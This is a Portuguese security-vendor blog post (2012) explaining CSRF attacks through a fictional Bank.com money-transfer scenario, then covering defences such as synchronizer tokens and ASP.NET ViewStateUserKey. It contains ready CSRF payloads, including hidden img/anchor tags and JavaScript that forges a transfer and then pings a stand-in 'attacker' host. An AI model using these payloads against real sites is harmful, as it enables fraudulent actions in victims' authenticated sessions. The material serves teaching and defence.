

Search

 Categorias:
o Artigos RedeSegura
o Últimas notícias
o Press Release
 Atualizações:
 Por data:
o September 2013
o May 2013
o February 2013
o January 2013
o December 2012
o November 2012
o October 2012
o September 2012
o August 2012
o July 2012
o June 2012
o April 2012
o March 2012
o February 2012
o January 2012
o November 2011
o October 2011
o September 2011
o August 2011
o July 2011
o June 2011
o May 2011
o April 2011
o March 2011
o February 2011
o January 2011
o December 2010
o November 2010
o October 2010
o September 2010
o August 2004

Post navigation

← Anterior Próximo →
Série Ataques: Saiba mais sobre os
ataques Cross-Site Request Forgery
(CSRF)
Por Equipe RedeSegura | Mar 08, 2012 - 16:06




Sumário: Afinal, o que são ataques de

Cross-Site Request Forgery (CSRF)?
O Cross-Site Request Forgery (CSRF) é uma classe de ataques que explora a relação de
confiança entre um aplicativo web e seu usuário legítimo. Para execução do CSRF, o
usuário mal intencionado deve induzir o utilizador legítimo, seja por meio de
engenharia social ou outros artifícios como cross-site scripting, a executar atividades
arbitrárias no aplicativo, permitindo que virtualmente qualquer ação específica possa ser
realizada no sistema sem o consentimento do usuário final.

A exploração do CSRF se dá por meio de aplicativos vulneráveis que não possuem

controles específicos para garantir que todas as comunicações com o usuário legítimo
sejam feitas dentro de um mesmo contexto, ou seja, utilizando um fluxo lógico de
execução. Um bom exemplo seria a execução de uma transação de movimentação
financeira de créditos para uma nova titularidade (usuário), sem que a tela para captura
dos dados de origem e destino seja solicitada pelo usuário (vítima do ataque).

O alvo do atacante geralmente são as transações valiosas e mais comuns nos sistemas de
aplicativos web, tais como:

 Alteração de e-mail ou dados pessoais;

 Alteração de senha de acesso;
 Movimentações financeiras ou compras on-line.

Aplicações vulneráveis são exploradas basicamente por meio das seguintes etapas:

1. O usuário se autentica ou está autenticado na aplicação alvo do ataque;

2. O usuário recebe um link ou utiliza o mesmo navegador para acessar um
aplicativo malicioso;
3. O link ou aplicativo malicioso navegado inclui uma requisição à aplicação alvo,
carregando todos os parâmetros necessários para a execução da transação.
4. Como existe uma sessão autenticada válida para o usuário no aplicativo alvo, a
aplicação recebe a requisição e executa a operação conforme a solicitação
enviada;
Meu aplicativo está vulnerável ao ataque
de CSRF?
Se o seu aplicativo permitir a execução de transações por meio da invocação de uma
requisição estática, ou seja, utilizando os mesmos parâmetros ao longo do tempo,
então possivelmente ela está vulnerável ao CSRF. Se o método utilizado do protocolo
HTTP for GET, o risco é ainda maior.

Se você é capaz de salvar um formulário web do seu aplicativo no computador local,

submetê-lo completamente fora de contexto e ainda obter uma resposta positiva da
aplicação, as chances são grandes que você esteja vulnerável ao CSRF.

O problema está no fato do navegador incluir automaticamente em todas as solicitações

para um mesmo aplicativo todas e quaisquer credenciais associadas a ele, seja um
cookie de sessão do usuário, token e credenciais de autenticação, portanto, se o
aplicativo não tiver condições de avaliar o fluxo de execução, não terá condições de
distinguir a solicitação maliciosa da solicitação legítima.

Exemplo Prático
Para entender melhor esse processo vamos apresentar um exemplo prático de um ataque
CSRF. No exemplo abaixo, Alice utiliza o sistema fictício do Bank.com e deseja
realizar uma transferência de 100 reais para Beto na segunda-feira. O formulário de
transferência pode ser traduzido de uma maneira bem superficial para a seguinte forma:

<form action="transfer.do" method="GET">

<input type="text" name="acct" value="BETO">
<input type="text" name="amount" value="100">
</form>

A requisição, de uma maneira genérica, será feita pelo método POST da seguinte forma:

GET /transfer.do?acct=BETO&amount=100 HTTP/1.1

Host: bank.com
(...)

Na terça-feira, ela resolve transferir 50 reais adicionais à conta de BETO. Novamente, a

requisição que parte do navegador dela tem a seguinte característica:

GET /transfer.do?acct=BETO&amount=50 HTTP/1.1

Host: bank.com
(...)

Observando as requisições realizadas em momentos distintos, segunda e terça-feira, um

atacante conclui que uma transação simples pode ser feita para sua conta se assumir o
seguinte formato:

GET /transfer.do?acct=HACKER&amount=500 HTTP/1.1

Host: bank.com
(...)
Se ele conseguir levar Alice a requisitar esta solicitação à aplicação do Bank.com
enquanto estiver autenticada, a transação será executada arbitrariamente, contudo, ainda
que com o caráter legítimo.

Para explorar a vulnerabilidade, o atacante prepara um link específico para tirar

vantagem desta transação:

http://bank.co/transfer.do?acct=HACKER&amount=500

Para camuflar seus verdadeiros objetivos, o atacante decide ainda utilizar um serviço
encurtador de URL, transformando a URL do ataque em um link para o fictício serviço
“urlcurta”:

http://urlcurta.br/yhdkadkw

Ao enviar esta informação para Alice e ludibriá-la a invocar a URL enquanto conectada
ao seu Banco, o atacante estará executando transações de maneira arbitrariamente sob o
nome de Alice, efetivamente transferindo 500 reais da conta dela para sua conta.

Outros exemplos
Dentro desta mesma aplicação vulnerável, o atacante poderia escolher fazer referência a
esta URL dentro de um outro aplicativo terceiro e convidar Alice a visitá-lo. Uma
abordagem simples poderia ser o uso da tag HTML anchor (<a>) para criar um link de
acesso no corpo do aplicativo ou de um e-mail enviado para Alice, conforme exemplo
abaixo:

<a href="http://bank.co/transfer.do?acct=HACKER&amount=100000">Veja
minhas fotos!</a>

Para sofisticar o ataque, o atacante poderia ainda esconder a requisição dentro de uma
referência de imagem em um aplicativo HTML qualquer e convidá-la a visitar:

<img src="http://bank.co/transfer.do?acct=HACKER&amount=100000"
width="1" height="1" border="0">

Alice não irá notar e o navegador irá submeter a solicitação ao bank.co sem qualquer
indicação visual de que a transferência foi executada. Se Alice estiver autenticada na
aplicação do banco, a transação será concluída com sucesso.

Abaixo uma lista das formas mais comuns que o atacante pode utilizar para explorar o
CSRF em aplicativos vulneráveis:

 Por meio de tags HTML

o Uso de IMG SRC <img src=”http://host/?command”>
o Uso de SCRIPT SRC <script src=”http://host/?command”>
o Uso de IFRAME SRC <iframe src=”http://host/?command”>
 Por meio de código javascript
o „Image‟ Object: <script> var foo = new Image(); foo.src =
“http://host/?command”; </script>
 o Por meio de objeto XmlHttpRequest (XMLHTTP). Note que em razão
das restrições de segurança (Cross-domain restriction), o pedido via
XmlHttpRequest só pode ser realizado no mesmo domínio do script.
Contudo, este ataque pode ser explorado em combinação com o Cross-
site scripting em um aplicativo duplamente vulnerável.

Exemplos da exploração do CSRF por meio de injeção de javascript em um aplicativo

vulnerável:

 Para Internet Explorer:

<script>
var post_data = 'name=value';
var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
xmlhttp.open("GET",
'http://bank.co/transfer.do?acct=HACKER&amount=100', true);
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4)
{
var receipt = new Image();
receipt.src = "http://attacker/attackResult.do?result=true";
}
};
xmlhttp.send(post_data);
</script>

 Para navegadores do tipo Mozilla

<script>
var post_data = 'name=value';
var xmlhttp=new XMLHttpRequest();
xmlhttp.open("GET",
'http://bank.co/transfer.do?acct=HACKER&amount=100', true);
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4)
{
var receipt = new Image();
receipt.src = "http://attacker/attackResult.do?result=true";
}
};
xmlhttp.send(post_data);
</script>

Sofisticação do ataque via Flash (SWF)

Objetos do tipo SWF (Flash) também pode ser utilizados para realizar solicitações de
maneira assíncrona no navegador do usuário. Esta característica aliada à possibilidade
de utilizar a política de Cross-Domain da Adobe (via arquivo crossdomain.xml), pode
permitir que um atacante embuta um arquivo SWF para realizar a mesma solicitação ao
Bank.co, se este permitir que objetos Flash de outros domínios se comuniquem com ele.

Para verificar a política atual, o atacante deve solicitar o arquivo

http://bank.co/crossdomain.xml e verificar a ocorrência de algo similar a:

<allow-access-from domain="*" />

Qual o impacto e as principais
consequências do ataque?
A principal consequência deste ataque é não ter a certeza se o usuário teve ou não a
intenção de realizar as ações específicas no sistema e, desta forma, permitir que usuários
mal intencionados explorem a relação de confiança para atacar o seu usuário final.

Existem inúmeros casos notórios como em Janeiro de 2007, quando uma

vulnerabilidade no GMAIL permitiu que um atacante roubasse a lista de contatos do
usuário vítima, ou da Netflix, empresa de aluguel de filmes online, que permitiu ao
atacante alterar o nome e o endereço da conta e adicionar filmes na lista para aluguel.

Correção de códigos vulneráveis

Uma solução comum adotada pelos desenvolvedores contra o CSRF é o Synchronizer
Token Pattern, que gera um token de “desafio” aleatório associado com a sessão atual
do usuário. Esses tokens são inseridos nos formulários HTML, links associados com
operações sensiveis e incluídas nas solicitações HTTP quando enviadas para
o aplicativo web.

Quando o usuário gera uma solicitação por meio de um formulário, um campo “input”
do tipo “hidden” deverá conter o token de proteção CSRF. Toda vez que uma transação
sensível for executada, o aplicativo irá comparar o token enviado com o valor
armazenado em sessão. Caso positivo, a transação será realizada e um novo token
gerado de maneira aleatório. Em caso negativo, o aplicativo deverá recusar a execução
da transação.

Exemplos
Algumas linguagens como Java já possuem funções específicas (via
java.security.SecureRandom) para geração de token longo e aleatório. A clase é usado
em aplicações Java para gerar um token longo e aleatório. No caso do aplicativo do
Bank.co, este valor aleatório seria colocado para complementar o formulário:

<form action="/transfer.do" method="get">

<input type="hidden" name="CSRFToken"
value="OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWEwYzU1YWQwMTVhM2JmNGYxYjJiMGI4MjJ
jZDE1ZDZjMTViMGYwMGEwOA==">
…
</form>

Desta forma, o pedido seria realizado de maneira única a cada vez que fosse executado.

Viewstate (ASP.NET)
Viewstate pode ser usado como uma defesa CSRF, uma vez que é difícil para um
atacante para forjar valores válidos por meio de predição. O ViewState indica o status
de uma página quando enviada para o servidor, esse status é definido através de um
campo oculto colocado em cada página com um controle <form runat=”server”>.
Lembre-se que é importante implementar controles criptográficos no ViewState para
garantir que ele não poderá ser manipulado por um usuário mal intencionado. Exemplo:

protected override OnInit(EventArgs e) {

base.OnInit(e);
if (User.Identity.IsAuthenticated)
ViewStateUserKey = Session.SessionID; }

Neste caso específico, o código deverá ser aplicado em Page_Init porque a chave tem de
ser fornecida ao ASP.NET antes do Viewstate ser carregado.

Frameworks de Prevenção
 OWASP CSRF Guard (For Java)
 PHP CSRF Guard
 .Net CSRF Guard

Exemplo de vídeos de ataque

 How Do I: Prevent a Cross Site Request Forgery Security Flaw in an ASP.NET
Application?

Como a Rede Segura pode te ajudar?

A RedeSegura possui uma solução completa para gestão de vulnerabilidades em
aplicativos web, seja qual for o seu tipo de indústria e tamanho do seu aplicativo. Saiba
mais detalhes sobre nossa metodologia:

 O sistema RedeSegura
 Benefícios do uso
 Integrações com a gestão de TI

Contate-nos ainda hoje para obter mais detalhes da nossa solução e como podemos
ajudá-lo na missão de manter seus aplicativos web seguros.